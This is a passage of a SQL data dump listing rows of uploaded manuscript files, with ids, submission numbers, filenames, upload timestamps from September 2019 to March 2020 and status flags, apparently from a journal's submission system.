22:54:44',1,1,0),(3876,2272,'2272-0-Manuscript-2019-09-09.doc','','2019-09-09 13:25:19',1,1,0),(3877,2273,'2273-0-Manuscript-2019-09-09.docx','','2019-09-09 13:27:12',1,1,0),(3878,2274,'2274-0-Manuscript-2019-09-09.docx','','2019-09-09 13:30:04',1,1,0),(3879,2275,'2275-0-Manuscript-2019-09-09.docx','','2019-09-09 13:32:18',1,1,0),(3882,2277,'2277-0-Manuscript-2019-09-09.docx','','2019-09-09 13:54:11',1,1,0),(4130,2416,'2416-0-Manuscript-2019-09-12.docx','','2019-09-12 01:35:03',1,1,0),(4131,2416,'2416-1-Manuscript-2019-09-12.docx','','2019-09-12 01:35:03',1,1,0),(4132,2416,'2416-2-Manuscript-2019-09-12.docx','','2019-09-12 01:35:03',1,1,0),(4188,2463,'2463-0-Manuscript-2019-09-13.docx','','2019-09-13 02:29:40',1,1,0),(4189,2464,'2464-0-Manuscript-2019-09-13.docx','','2019-09-13 02:53:14',1,1,0),(4207,2474,'2474-0-Manuscript-2019-09-13.doc','','2019-09-13 11:40:56',1,1,0),(4322,2540,'2540-0-Manuscript-2019-09-15.doc','','2019-09-15 14:17:53',1,1,0),(4323,2540,'2540-1-Manuscript-2019-09-15.doc','','2019-09-15 14:17:53',1,1,0),(4324,2540,'2540-2-Manuscript-2019-09-15.ppt','','2019-09-15 14:17:53',1,1,0),(4325,2540,'2540-3-Manuscript-2019-09-15.doc','','2019-09-15 14:17:53',1,1,0),(4326,2540,'2540-4-Manuscript-2019-09-15.doc','','2019-09-15 14:17:53',1,1,0),(4327,2540,'2540-5-Manuscript-2019-09-15.doc','','2019-09-15 14:17:53',1,1,0),(4328,2540,'2540-6-Manuscript-2019-09-15.doc','','2019-09-15 14:17:53',1,1,0),(4329,2540,'2540-7-Manuscript-2019-09-15.doc','','2019-09-15 14:17:53',1,1,0),(4330,2540,'2540-8-Manuscript-2019-09-15.doc','','2019-09-15 14:17:53',1,1,0),(4331,2540,'2540-9-Manuscript-2019-09-15.doc','','2019-09-15 14:17:53',1,1,0),(4385,2577,'2577-0-Manuscript-2019-09-18.docx',NULL,'2019-09-18 11:40:13',1,1,0),(4397,2581,'2581-0-Manuscript-2019-09-19.docx',NULL,'2019-09-19 13:40:42',1,1,0),(4398,2582,'2582-0-Manuscript-2019-09-19.docx',NULL,'2019-09-19 13:42:36',1,1,0),(4400,2584,'2584-0-Manuscript-2019-09-19.docx',NULL,'2019-09-19 17:35:46',1,1,0),(4402,2586,'2586-0-Manuscript-2019-09-19.docx',NULL,'2019-09-19 19:28:06',1,1,0),(4403,917,'917-578-Manuscript-2019-09-19.pdf',NULL,'2019-09-20 00:06:39',1,2,0),(4412,2591,'2591-0-Manuscript-2019-09-20.docx',NULL,'2019-09-20 18:24:18',1,1,0),(4416,2594,'2594-0-Manuscript-2019-09-21.docx',NULL,'2019-09-21 09:35:58',1,1,0),(4417,2594,'2594-1-Manuscript-2019-09-21.docx',NULL,'2019-09-21 09:35:58',1,1,0),(4418,2594,'2594-2-Manuscript-2019-09-21.docx',NULL,'2019-09-21 09:35:58',1,1,0),(4425,1998,'1998-1352-Manuscript-2019-09-23.pdf',NULL,'2019-09-23 10:06:47',1,1,0),(4428,2602,'2602-0-Manuscript-2019-09-23.pdf',NULL,'2019-09-23 15:40:14',1,1,0),(4430,2591,'2591-973-Manuscript-2019-09-23.doc',NULL,'2019-09-23 20:47:42',1,1,0),(4440,2605,'2605-0-Manuscript-2019-09-24.docx',NULL,'2019-09-24 07:21:50',1,1,0),(4442,1673,'1673-529-Manuscript-2019-09-24.docx',NULL,'2019-09-24 13:02:29',1,1,0),(4443,1673,'1673-582-Manuscript-2019-09-24.docx',NULL,'2019-09-24 13:03:27',1,1,0),(4444,1673,'1673-900-Manuscript-2019-09-24.docx',NULL,'2019-09-24 13:20:43',1,2,0),(4445,2606,'2606-0-Manuscript-2019-09-24.docx',NULL,'2019-09-24 14:01:48',1,1,0),(4457,2611,'2611-0-Manuscript-2019-09-25.docx',NULL,'2019-09-25 15:45:13',1,1,0),(4474,2617,'2617-614-Manuscript-2019-09-26.doc',NULL,'2019-09-26 11:14:56',1,1,0),(4477,2620,'2620-0-Manuscript-2019-09-26.doc',NULL,'2019-09-26 15:48:04',1,1,0),(4479,2622,'2622-0-Manuscript-2019-09-26.docx',NULL,'2019-09-26 17:57:22',1,1,0),(4480,2622,'2622-1-Manuscript-2019-09-26.docx',NULL,'2019-09-26 17:57:22',1,1,0),(4481,2622,'2622-2-Manuscript-2019-09-26.docx',NULL,'2019-09-26 17:57:22',1,1,0),(4482,2622,'2622-3-Manuscript-2019-09-26.docx',NULL,'2019-09-26 17:57:22',1,1,0),(4483,2622,'2622-4-Manuscript-2019-09-26.docx',NULL,'2019-09-26 17:57:22',1,1,0),(4484,2622,'2622-5-Manuscript-2019-09-26.docx',NULL,'2019-09-26 17:57:22',1,1,0),(4485,2622,'2622-6-Manuscript-2019-09-26.docx',NULL,'2019-09-26 17:57:22',1,1,0),(4486,2622,'2622-7-Manuscript-2019-09-26.docx',NULL,'2019-09-26 17:57:22',1,1,0),(4487,2623,'2623-0-Manuscript-2019-09-26.docx',NULL,'2019-09-27 00:13:26',1,1,0),(4502,2633,'2633-0-Manuscript-2019-09-27.doc',NULL,'2019-09-27 16:49:42',1,1,0),(4504,2635,'2635-0-Manuscript-2019-09-27.docx',NULL,'2019-09-27 21:14:47',1,1,0),(4514,2645,'2645-0-Manuscript-2019-09-30.docx',NULL,'2019-09-30 15:46:35',1,1,0),(4526,2649,'2649-0-Manuscript-2019-09-30.docx',NULL,'2019-09-30 19:51:34',1,1,0),(4528,2651,'2651-0-Manuscript-2019-09-30.docx',NULL,'2019-09-30 21:12:50',1,1,0),(4543,2661,'2661-0-Manuscript-2019-10-02.docx',NULL,'2019-10-03 01:04:55',1,1,0),(4551,2667,'2667-0-Manuscript-2019-10-03.docx',NULL,'2019-10-03 22:29:45',1,1,0),(4555,2669,'2669-0-Manuscript-2019-10-04.docx',NULL,'2019-10-04 12:28:33',1,1,0),(4559,2673,'2673-0-Manuscript-2019-10-04.docx',NULL,'2019-10-04 20:26:48',1,1,0),(4560,2673,'2673-1-Manuscript-2019-10-04.docx',NULL,'2019-10-04 20:26:48',1,1,0),(4561,2673,'2673-2-Manuscript-2019-10-04.docx',NULL,'2019-10-04 20:26:48',1,1,0),(4562,2673,'2673-3-Manuscript-2019-10-04.docx',NULL,'2019-10-04 20:26:48',1,1,0),(4564,2674,'2674-0-Manuscript-2019-10-05.docx',NULL,'2019-10-05 10:33:59',1,1,0),(4574,2681,'2681-0-Manuscript-2019-10-06.docx',NULL,'2019-10-06 15:41:37',1,1,0),(4582,2686,'2686-0-Manuscript-2019-10-07.docx',NULL,'2019-10-07 11:02:36',1,1,0),(4583,2277,'2277-1853-Manuscript-2019-10-07.docx',NULL,'2019-10-07 14:33:32',1,2,0),(4584,2277,'2277-1620-Manuscript-2019-10-07.docx',NULL,'2019-10-07 14:33:32',1,2,0),(4597,2693,'2693-0-Manuscript-2019-10-08.pdf',NULL,'2019-10-08 18:23:06',1,1,0),(4598,2694,'2694-0-Manuscript-2019-10-08.docx',NULL,'2019-10-08 21:33:02',1,1,0),(4600,2696,'2696-0-Manuscript-2019-10-09.pdf',NULL,'2019-10-09 14:12:22',1,1,0),(4601,2697,'2697-0-Manuscript-2019-10-09.docx',NULL,'2019-10-09 14:43:33',1,1,0),(4630,2707,'2707-0-Manuscript-2019-10-10.docx',NULL,'2019-10-10 15:40:16',1,1,0),(4631,2708,'2708-0-Manuscript-2019-10-10.docx',NULL,'2019-10-10 15:46:00',1,1,0),(4640,2714,'2714-0-Manuscript-2019-10-12.docx',NULL,'2019-10-12 09:48:33',1,1,0),(4641,2714,'2714-1-Manuscript-2019-10-12.docx',NULL,'2019-10-12 09:48:33',1,1,0),(4642,2714,'2714-2-Manuscript-2019-10-12.docx',NULL,'2019-10-12 09:48:33',1,1,0),(4664,2719,'2719-0-Manuscript-2019-10-13.docx',NULL,'2019-10-13 12:09:25',1,1,0),(4670,2723,'2723-0-Manuscript-2019-10-13.docx',NULL,'2019-10-13 22:23:01',1,1,0),(4671,2723,'2723-1-Manuscript-2019-10-13.docx',NULL,'2019-10-13 22:23:01',1,1,0),(4677,2727,'2727-0-Manuscript-2019-10-14.docx',NULL,'2019-10-14 12:09:51',1,1,0),(4703,2740,'2740-0-Manuscript-2019-10-15.docx',NULL,'2019-10-15 17:03:11',1,1,0),(4709,2744,'2744-0-Manuscript-2019-10-16.docx',NULL,'2019-10-16 12:41:45',1,1,0),(4710,2744,'2744-1-Manuscript-2019-10-16.docx',NULL,'2019-10-16 12:41:45',1,1,0),(4721,2754,'2754-0-Manuscript-2019-10-16.docx',NULL,'2019-10-16 21:53:42',1,1,0),(4722,2755,'2755-0-Manuscript-2019-10-16.docx',NULL,'2019-10-16 23:34:55',1,1,0),(4726,2759,'2759-0-Manuscript-2019-10-18.docx',NULL,'2019-10-18 10:22:10',1,1,0),(4737,2764,'2764-0-Manuscript-2019-10-19.docx',NULL,'2019-10-19 16:31:08',1,1,0),(4738,2765,'2765-0-Manuscript-2019-10-19.docx',NULL,'2019-10-19 16:38:06',1,1,0),(4747,2769,'2769-0-Manuscript-2019-10-20.docx',NULL,'2019-10-20 12:37:47',1,1,0),(4761,2777,'2777-0-Manuscript-2019-10-21.docx',NULL,'2019-10-21 19:47:50',1,1,0),(4771,2785,'2785-0-Manuscript-2019-10-22.docx',NULL,'2019-10-22 17:14:17',1,1,0),(4785,2794,'2794-0-Manuscript-2019-10-23.docx',NULL,'2019-10-24 04:14:41',1,1,0),(4844,2833,'2833-0-Manuscript-2019-10-29.docx',NULL,'2019-10-29 09:24:23',1,1,0),(4849,2838,'2838-0-Manuscript-2019-10-30.doc',NULL,'2019-10-30 10:39:58',1,1,0),(4850,2839,'2839-0-Manuscript-2019-10-30.docx',NULL,'2019-10-30 11:42:05',1,1,0),(4855,2842,'2842-0-Manuscript-2019-10-30.docx',NULL,'2019-10-30 19:53:32',1,1,0),(4856,2842,'2842-1-Manuscript-2019-10-30.docx',NULL,'2019-10-30 19:53:32',1,1,0),(4859,2844,'2844-0-Manuscript-2019-10-30.docx',NULL,'2019-10-30 22:53:24',1,1,0),(4863,2756,'2756-382-Manuscript-2019-10-31.docx',NULL,'2019-10-31 09:54:57',1,1,0),(4870,2852,'2852-0-Manuscript-2019-10-31.docx',NULL,'2019-10-31 17:59:19',1,1,0),(4871,2852,'2852-1-Manuscript-2019-10-31.docx',NULL,'2019-10-31 17:59:19',1,1,0),(4875,2856,'2856-0-Manuscript-2019-11-01.docx',NULL,'2019-11-01 18:47:20',1,1,0),(4876,2856,'2856-1-Manuscript-2019-11-01.docx',NULL,'2019-11-01 18:47:20',1,1,0),(4877,2856,'2856-2-Manuscript-2019-11-01.docx',NULL,'2019-11-01 18:47:20',1,1,0),(4878,2856,'2856-3-Manuscript-2019-11-01.docx',NULL,'2019-11-01 18:47:20',1,1,0),(4879,2856,'2856-4-Manuscript-2019-11-01.docx',NULL,'2019-11-01 18:47:20',1,1,0),(4881,2858,'2858-0-Manuscript-2019-11-01.docx',NULL,'2019-11-02 02:02:14',1,1,0),(4882,2858,'2858-1-Manuscript-2019-11-01.docx',NULL,'2019-11-02 02:02:14',1,1,0),(4910,2832,'2832-492-Manuscript-2019-11-04.docx',NULL,'2019-11-04 11:18:56',1,1,0),(4911,2832,'2832-1093-Manuscript-2019-11-04.docx',NULL,'2019-11-04 11:22:41',1,1,0),(4918,2874,'2874-0-Manuscript-2019-11-04.docx',NULL,'2019-11-04 16:39:50',1,1,0),(4923,2876,'2876-0-Manuscript-2019-11-05.doc',NULL,'2019-11-05 10:22:43',1,1,0),(4924,2877,'2877-0-Manuscript-2019-11-05.docx',NULL,'2019-11-05 10:24:17',1,1,0),(4936,2887,'2887-0-Manuscript-2019-11-06.docx',NULL,'2019-11-06 16:03:28',1,1,0),(4941,2693,'2693-1677-Manuscript-2019-11-07.docx',NULL,'2019-11-07 09:47:12',1,1,0),(4949,2896,'2896-0-Manuscript-2019-11-07.docx',NULL,'2019-11-08 01:42:22',1,1,0),(4956,2897,'2897-0-Manuscript-2019-11-07.docx',NULL,'2019-11-08 03:03:08',1,1,0),(4957,2898,'2898-0-Manuscript-2019-11-08.docx',NULL,'2019-11-08 14:24:13',1,1,0),(4958,2899,'2899-0-Manuscript-2019-11-08.docx',NULL,'2019-11-08 14:29:31',1,1,0),(4985,630,'630-720-Manuscript-2019-11-13.docx',NULL,'2019-11-13 10:52:26',1,2,0),(4990,2919,'2919-0-Manuscript-2019-11-13.docx',NULL,'2019-11-13 13:47:22',1,1,0),(5000,2926,'2926-0-Manuscript-2019-11-14.docx',NULL,'2019-11-14 14:02:56',1,1,0),(5004,2930,'2930-0-Manuscript-2019-11-15.docx',NULL,'2019-11-15 14:10:58',1,1,0),(5006,2932,'2932-0-Manuscript-2019-11-15.docx',NULL,'2019-11-15 15:31:09',1,1,0),(5007,2933,'2933-0-Manuscript-2019-11-15.docx',NULL,'2019-11-15 16:40:54',1,1,0),(5008,2933,'2933-1-Manuscript-2019-11-15.docx',NULL,'2019-11-15 16:40:54',1,1,0),(5009,2933,'2933-2-Manuscript-2019-11-15.docx',NULL,'2019-11-15 16:40:54',1,1,0),(5010,2933,'2933-3-Manuscript-2019-11-15.docx',NULL,'2019-11-15 16:40:54',1,1,0),(5011,2934,'2934-0-Manuscript-2019-11-15.docx',NULL,'2019-11-15 16:57:56',1,1,0),(5016,2939,'2939-0-Manuscript-2019-11-16.docx',NULL,'2019-11-16 12:00:47',1,1,0),(5021,2943,'2943-0-Manuscript-2019-11-16.docx',NULL,'2019-11-16 21:53:31',1,1,0),(5023,2945,'2945-0-Manuscript-2019-11-17.docx',NULL,'2019-11-17 15:16:30',1,1,0),(5044,2950,'2950-0-Manuscript-2019-11-18.docx',NULL,'2019-11-18 16:06:45',1,1,0),(5049,2877,'2877-1717-Manuscript-2019-11-19.docx',NULL,'2019-11-19 14:59:02',1,2,0),(5077,2902,'2902-935-Manuscript-2019-11-20.pdf',NULL,'2019-11-20 20:21:03',1,1,0),(5078,2902,'2902-1533-Manuscript-2019-11-20.pdf',NULL,'2019-11-20 20:21:03',1,1,0),(5086,2971,'2971-0-Manuscript-2019-11-22.docx',NULL,'2019-11-22 09:11:14',1,1,0),(5105,2768,'2768-1834-Manuscript-2019-11-25.docx',NULL,'2019-11-25 13:44:45',1,2,0),(5106,2919,'2919-1378-Manuscript-2019-11-25.docx',NULL,'2019-11-25 14:01:02',1,1,0),(5117,2988,'2988-0-Manuscript-2019-11-26.docx',NULL,'2019-11-26 16:08:38',1,1,0),(5122,2933,'2933-685-Manuscript-2019-11-27.docx',NULL,'2019-11-27 15:15:24',1,2,0),(5141,2997,'2997-0-Manuscript-2019-11-27.docx',NULL,'2019-11-28 02:41:22',1,1,0),(5142,2997,'2997-1-Manuscript-2019-11-27.pdf',NULL,'2019-11-28 02:41:22',1,1,0),(5166,2852,'2852-794-Manuscript-2019-11-29.docx',NULL,'2019-11-29 21:45:45',1,2,0),(5167,2852,'2852-956-Manuscript-2019-11-29.docx',NULL,'2019-11-29 21:45:45',1,2,0),(5168,3011,'3011-0-Manuscript-2019-11-30.docx',NULL,'2019-11-30 09:45:04',1,1,0),(5190,2635,'2635-477-Manuscript-2019-12-02.docx',NULL,'2019-12-02 17:46:39',1,2,0),(5191,3021,'3021-0-Manuscript-2019-12-03.docx',NULL,'2019-12-03 13:23:53',1,1,0),(5192,3021,'3021-1-Manuscript-2019-12-03.docx',NULL,'2019-12-03 13:23:53',1,1,0),(5204,3026,'3026-0-Manuscript-2019-12-04.pdf',NULL,'2019-12-04 20:56:42',1,1,0),(5207,2727,'2727-78-Manuscript-2019-12-04.docx',NULL,'2019-12-05 02:35:32',1,2,0),(5219,3033,'3033-0-Manuscript-2019-12-06.docx',NULL,'2019-12-06 13:38:14',1,1,0),(5221,3035,'3035-0-Manuscript-2019-12-06.docx',NULL,'2019-12-06 14:15:13',1,1,0),(5222,3036,'3036-0-Manuscript-2019-12-06.docx',NULL,'2019-12-06 17:23:55',1,1,0),(5223,3037,'3037-0-Manuscript-2019-12-06.docx',NULL,'2019-12-06 17:26:23',1,1,0),(5240,3043,'3043-0-Manuscript-2019-12-08.docx',NULL,'2019-12-08 13:14:37',1,1,0),(5242,3045,'3045-0-Manuscript-2019-12-08.docx',NULL,'2019-12-09 02:48:02',1,1,0),(5243,2727,'2727-1396-Manuscript-2019-12-09.docx',NULL,'2019-12-09 10:31:12',1,2,0),(5244,2727,'2727-577-Manuscript-2019-12-09.docx',NULL,'2019-12-09 10:31:12',1,2,0),(5250,3050,'3050-0-Manuscript-2019-12-09.docx',NULL,'2019-12-10 01:02:50',1,1,0),(5257,3055,'3055-0-Manuscript-2019-12-11.docx',NULL,'2019-12-11 13:38:23',1,1,0),(5260,3058,'3058-0-Manuscript-2019-12-12.docx',NULL,'2019-12-12 11:00:05',1,1,0),(5273,2727,'2727-1508-Manuscript-2019-12-13.docx',NULL,'2019-12-13 09:40:32',1,2,0),(5274,2645,'2645-1465-Manuscript-2019-12-13.docx',NULL,'2019-12-13 10:10:32',1,2,0),(5275,3071,'3071-0-Manuscript-2019-12-13.docx',NULL,'2019-12-13 10:19:32',1,1,0),(5276,3072,'3072-0-Manuscript-2019-12-13.docx',NULL,'2019-12-13 10:25:30',1,1,0),(5278,3074,'3074-0-Manuscript-2019-12-13.docx',NULL,'2019-12-13 16:39:56',1,1,0),(5295,3085,'3085-0-Manuscript-2019-12-16.docx',NULL,'2019-12-16 13:25:06',1,1,0),(5296,3085,'3085-1-Manuscript-2019-12-16.docx',NULL,'2019-12-16 13:25:06',1,1,0),(5312,3096,'3096-0-Manuscript-2019-12-17.gif',NULL,'2019-12-17 21:15:08',1,1,0),(5314,3098,'3098-0-Manuscript-2019-12-18.docx',NULL,'2019-12-18 06:28:05',1,1,0),(5317,3101,'3101-0-Manuscript-2019-12-18.docx',NULL,'2019-12-18 18:00:36',1,1,0),(5328,3072,'3072-90-Manuscript-2019-12-21.docx',NULL,'2019-12-21 11:46:07',1,2,0),(5357,2856,'2856-1288-Manuscript-2019-12-24.docx',NULL,'2019-12-24 18:42:42',1,2,0),(5358,2856,'2856-714-Manuscript-2019-12-24.docx',NULL,'2019-12-24 18:42:42',1,2,0),(5359,2856,'2856-938-Manuscript-2019-12-24.docx',NULL,'2019-12-24 18:42:42',1,2,0),(5360,2856,'2856-958-Manuscript-2019-12-24.docx',NULL,'2019-12-24 18:42:42',1,2,0),(5361,2856,'2856-1844-Manuscript-2019-12-24.docx',NULL,'2019-12-24 18:42:42',1,2,0),(5374,3121,'3121-0-Manuscript-2019-12-25.docx',NULL,'2019-12-25 14:28:40',1,1,0),(5384,3125,'3125-0-Manuscript-2019-12-26.docx',NULL,'2019-12-26 16:45:40',1,1,0),(5385,3126,'3126-0-Manuscript-2019-12-26.odt',NULL,'2019-12-27 01:06:26',1,1,0),(5386,3126,'3126-1-Manuscript-2019-12-26.docx',NULL,'2019-12-27 01:06:26',1,1,0),(5387,3126,'3126-2-Manuscript-2019-12-26.doc',NULL,'2019-12-27 01:06:26',1,1,0),(5388,3126,'3126-3-Manuscript-2019-12-26.jpg',NULL,'2019-12-27 01:06:26',1,1,0),(5389,3126,'3126-4-Manuscript-2019-12-26.jpg',NULL,'2019-12-27 01:06:26',1,1,0),(5390,3126,'3126-5-Manuscript-2019-12-26.jpg',NULL,'2019-12-27 01:06:26',1,1,0),(5391,3126,'3126-6-Manuscript-2019-12-26.jpg',NULL,'2019-12-27 01:06:26',1,1,0),(5392,3126,'3126-7-Manuscript-2019-12-26.jpg',NULL,'2019-12-27 01:06:26',1,1,0),(5397,3131,'3131-0-Manuscript-2019-12-27.docx',NULL,'2019-12-28 00:34:44',1,1,0),(5401,3135,'3135-0-Manuscript-2019-12-28.pdf',NULL,'2019-12-28 21:32:25',1,1,0),(5411,3140,'3140-0-Manuscript-2019-12-30.docx',NULL,'2019-12-30 12:44:57',1,1,0),(5417,3144,'3144-0-Manuscript-2019-12-31.docx',NULL,'2019-12-31 10:39:29',1,1,0),(5423,3150,'3150-0-Manuscript-2020-01-02.docx',NULL,'2020-01-02 16:01:33',1,1,0),(5424,3150,'3150-1-Manuscript-2020-01-02.docx',NULL,'2020-01-02 16:01:33',1,1,0),(5429,3154,'3154-0-Manuscript-2020-01-03.docx',NULL,'2020-01-03 21:58:50',1,1,0),(5430,3154,'3154-1-Manuscript-2020-01-03.docx',NULL,'2020-01-03 21:58:50',1,1,0),(5431,3154,'3154-2-Manuscript-2020-01-03.docx',NULL,'2020-01-03 21:58:50',1,1,0),(5432,3154,'3154-3-Manuscript-2020-01-03.jpg',NULL,'2020-01-03 21:58:50',1,1,0),(5433,3154,'3154-4-Manuscript-2020-01-03.jpg',NULL,'2020-01-03 21:58:50',1,1,0),(5434,3154,'3154-5-Manuscript-2020-01-03.jpg',NULL,'2020-01-03 21:58:50',1,1,0),(5435,3154,'3154-6-Manuscript-2020-01-03.jpg',NULL,'2020-01-03 21:58:50',1,1,0),(5436,3154,'3154-7-Manuscript-2020-01-03.jpg',NULL,'2020-01-03 21:58:50',1,1,0),(5468,3177,'3177-0-Manuscript-2020-01-09.docx',NULL,'2020-01-09 14:39:27',1,1,0),(5469,3178,'3178-0-Manuscript-2020-01-09.pdf',NULL,'2020-01-09 18:57:59',1,1,0),(5470,3178,'3178-1-Manuscript-2020-01-09.pdf',NULL,'2020-01-09 18:57:59',1,1,0),(5481,3185,'3185-0-Manuscript-2020-01-10.docx',NULL,'2020-01-10 15:15:10',1,1,0),(5491,3188,'3188-0-Manuscript-2020-01-11.docx',NULL,'2020-01-11 15:36:39',1,1,0),(5495,3192,'3192-0-Manuscript-2020-01-12.docx',NULL,'2020-01-12 23:15:40',1,1,0),(5501,3195,'3195-0-Manuscript-2020-01-13.docx',NULL,'2020-01-13 13:44:55',1,1,0),(5518,3202,'3202-0-Manuscript-2020-01-14.pdf',NULL,'2020-01-14 17:38:33',1,1,0),(5545,3213,'3213-0-Manuscript-2020-01-17.docx',NULL,'2020-01-17 10:48:36',1,1,0),(5558,3219,'3219-0-Manuscript-2020-01-17.docx',NULL,'2020-01-17 21:57:22',1,1,0),(5559,3178,'3178-1886-Manuscript-2020-01-17.pdf',NULL,'2020-01-18 00:03:55',1,2,0),(5560,3178,'3178-1290-Manuscript-2020-01-17.PDF',NULL,'2020-01-18 00:03:55',1,2,0),(5561,3220,'3220-0-Manuscript-2020-01-17.docx',NULL,'2020-01-18 01:18:27',1,1,0),(5562,3220,'3220-1-Manuscript-2020-01-17.docx',NULL,'2020-01-18 01:18:27',1,1,0),(5599,3237,'3237-0-Manuscript-2020-01-21.docx',NULL,'2020-01-21 14:23:20',1,1,0),(5620,3248,'3248-0-Manuscript-2020-01-23.docx',NULL,'2020-01-23 07:22:04',1,1,0),(5621,3248,'3248-1-Manuscript-2020-01-23.docx',NULL,'2020-01-23 07:22:04',1,1,0),(5622,3249,'3249-0-Manuscript-2020-01-23.docx',NULL,'2020-01-23 16:44:17',1,1,0),(5624,3185,'3185-1621-Manuscript-2020-01-23.docx',NULL,'2020-01-24 02:36:14',1,1,0),(5626,3252,'3252-0-Manuscript-2020-01-24.docx',NULL,'2020-01-24 12:02:26',1,1,0),(5644,3258,'3258-0-Manuscript-2020-01-24.docx',NULL,'2020-01-25 03:44:30',1,1,0),(5652,3261,'3261-0-Manuscript-2020-01-25.docx',NULL,'2020-01-25 12:28:01',1,1,0),(5662,3266,'3266-0-Manuscript-2020-01-26.docx',NULL,'2020-01-26 12:03:40',1,1,0),(5664,3259,'3259-1572-Manuscript-2020-01-27.docx',NULL,'2020-01-27 10:23:53',1,1,0),(5671,3274,'3274-0-Manuscript-2020-01-28.docx',NULL,'2020-01-28 15:11:00',1,1,0),(5683,3282,'3282-0-Manuscript-2020-01-29.docx',NULL,'2020-01-29 21:15:43',1,1,0),(5694,3293,'3293-0-Manuscript-2020-01-31.docx',NULL,'2020-01-31 15:54:27',1,1,0),(5740,3259,'3259-1671-Manuscript-2020-02-03.docx',NULL,'2020-02-03 21:45:52',1,2,0),(5741,3259,'3259-1148-Manuscript-2020-02-03.docx',NULL,'2020-02-03 21:48:48',1,2,0),(5747,2988,'2988-881-Manuscript-2020-02-04.docx',NULL,'2020-02-04 17:03:16',1,1,0),(5748,2988,'2988-1146-Manuscript-2020-02-04.docx',NULL,'2020-02-04 17:03:16',1,1,0),(5778,3330,'3330-0-Manuscript-2020-02-06.docx',NULL,'2020-02-07 00:05:52',1,1,0),(5787,3333,'3333-0-Manuscript-2020-02-07.docx',NULL,'2020-02-07 10:56:37',1,1,0),(5791,3256,'3256-559-Manuscript-2020-02-07.docx',NULL,'2020-02-07 14:06:13',1,1,0),(5792,3256,'3256-137-Manuscript-2020-02-07.docx',NULL,'2020-02-07 14:06:29',1,1,0),(5793,3256,'3256-846-Manuscript-2020-02-07.pdf',NULL,'2020-02-07 14:06:55',1,1,0),(5794,3336,'3336-0-Manuscript-2020-02-07.docx',NULL,'2020-02-07 14:13:13',1,1,0),(5804,3339,'3339-0-Manuscript-2020-02-07.docx',NULL,'2020-02-07 17:48:00',1,1,0),(5852,3369,'3369-0-Manuscript-2020-02-10.docx',NULL,'2020-02-10 20:17:25',1,1,0),(5875,3383,'3383-0-Manuscript-2020-02-12.docx',NULL,'2020-02-12 14:25:10',1,1,0),(5888,3388,'3388-0-Manuscript-2020-02-13.docx',NULL,'2020-02-13 09:44:54',1,1,0),(5890,3390,'3390-0-Manuscript-2020-02-13.docx',NULL,'2020-02-13 15:13:47',1,1,0),(5904,3183,'3183-1186-Manuscript-2020-02-14.docx',NULL,'2020-02-14 11:33:05',1,1,0),(5905,3183,'3183-766-Manuscript-2020-02-14.pdf',NULL,'2020-02-14 11:33:05',1,1,0),(5913,3400,'3400-0-Manuscript-2020-02-14.docx',NULL,'2020-02-14 18:22:20',1,1,0),(5925,3403,'3403-0-Manuscript-2020-02-14.docx',NULL,'2020-02-15 03:11:34',1,1,0),(5931,3409,'3409-0-Manuscript-2020-02-16.doc',NULL,'2020-02-16 07:38:05',1,1,0),(5937,3414,'3414-0-Manuscript-2020-02-17.docx',NULL,'2020-02-17 11:31:35',1,1,0),(5946,3381,'3381-1364-Manuscript-2020-02-18.docx',NULL,'2020-02-18 11:29:56',1,1,0),(5947,3381,'3381-1092-Manuscript-2020-02-18.pdf',NULL,'2020-02-18 11:29:56',1,1,0),(5973,3433,'3433-0-Manuscript-2020-02-19.docx',NULL,'2020-02-20 01:21:17',1,1,0),(5989,2759,'2759-1175-Manuscript-2020-02-20.docx',NULL,'2020-02-21 01:27:34',1,2,0),(5990,2759,'2759-1563-Manuscript-2020-02-20.',NULL,'2020-02-21 01:27:34',1,2,0),(6002,3447,'3447-0-Manuscript-2020-02-21.docx',NULL,'2020-02-21 08:42:36',1,1,0),(6031,3456,'3456-0-Manuscript-2020-02-23.docx',NULL,'2020-02-23 13:37:05',1,1,0),(6038,3461,'3461-0-Manuscript-2020-02-24.docx',NULL,'2020-02-24 10:19:37',1,1,0),(6051,3467,'3467-0-Manuscript-2020-02-24.docx',NULL,'2020-02-24 21:59:16',1,1,0),(6072,3481,'3481-0-Manuscript-2020-02-26.docx',NULL,'2020-02-26 23:32:52',1,1,0),(6075,3484,'3484-0-Manuscript-2020-02-27.docx',NULL,'2020-02-27 23:05:23',1,1,0),(6076,3484,'3484-1-Manuscript-2020-02-27.docx',NULL,'2020-02-27 23:05:23',1,1,0),(6077,3484,'3484-2-Manuscript-2020-02-27.doc',NULL,'2020-02-27 23:05:23',1,1,0),(6089,3409,'3409-628-Manuscript-2020-02-28.doc',NULL,'2020-02-28 10:19:41',1,2,0),(6090,3409,'3409-1286-Manuscript-2020-02-28.doc',NULL,'2020-02-28 10:19:41',1,2,0),(6091,3486,'3486-0-Manuscript-2020-02-28.docx',NULL,'2020-02-28 11:35:40',1,1,0),(6093,3488,'3488-0-Manuscript-2020-02-28.docx',NULL,'2020-02-28 15:33:52',1,1,0),(6094,3488,'3488-1-Manuscript-2020-02-28.docx',NULL,'2020-02-28 15:33:52',1,1,0),(6095,3488,'3488-2-Manuscript-2020-02-28.docx',NULL,'2020-02-28 15:33:52',1,1,0),(6096,3489,'3489-0-Manuscript-2020-02-28.docx',NULL,'2020-02-28 17:37:10',1,1,0),(6097,3489,'3489-1-Manuscript-2020-02-28.docx',NULL,'2020-02-28 17:37:10',1,1,0),(6098,3489,'3489-2-Manuscript-2020-02-28.docx',NULL,'2020-02-28 17:37:10',1,1,0),(6099,3489,'3489-3-Manuscript-2020-02-28.docx',NULL,'2020-02-28 17:37:10',1,1,0),(6100,3489,'3489-4-Manuscript-2020-02-28.docx',NULL,'2020-02-28 17:37:10',1,1,0),(6102,3491,'3491-0-Manuscript-2020-02-28.doc',NULL,'2020-02-28 19:50:56',1,1,0),(6107,3488,'3488-1350-Manuscript-2020-02-29.docx',NULL,'2020-02-29 13:49:29',1,1,0),(6108,3488,'3488-1859-Manuscript-2020-02-29.docx',NULL,'2020-02-29 13:50:00',1,1,0),(6109,3495,'3495-0-Manuscript-2020-02-29.docx',NULL,'2020-02-29 15:35:03',1,1,0),(6110,3495,'3495-1-Manuscript-2020-02-29.docx',NULL,'2020-02-29 15:35:03',1,1,0),(6113,3498,'3498-0-Manuscript-2020-02-29.docx',NULL,'2020-03-01 04:38:27',1,1,0),(6114,3498,'3498-1-Manuscript-2020-02-29.docx',NULL,'2020-03-01 04:38:27',1,1,0),(6115,3498,'3498-2-Manuscript-2020-02-29.docx',NULL,'2020-03-01 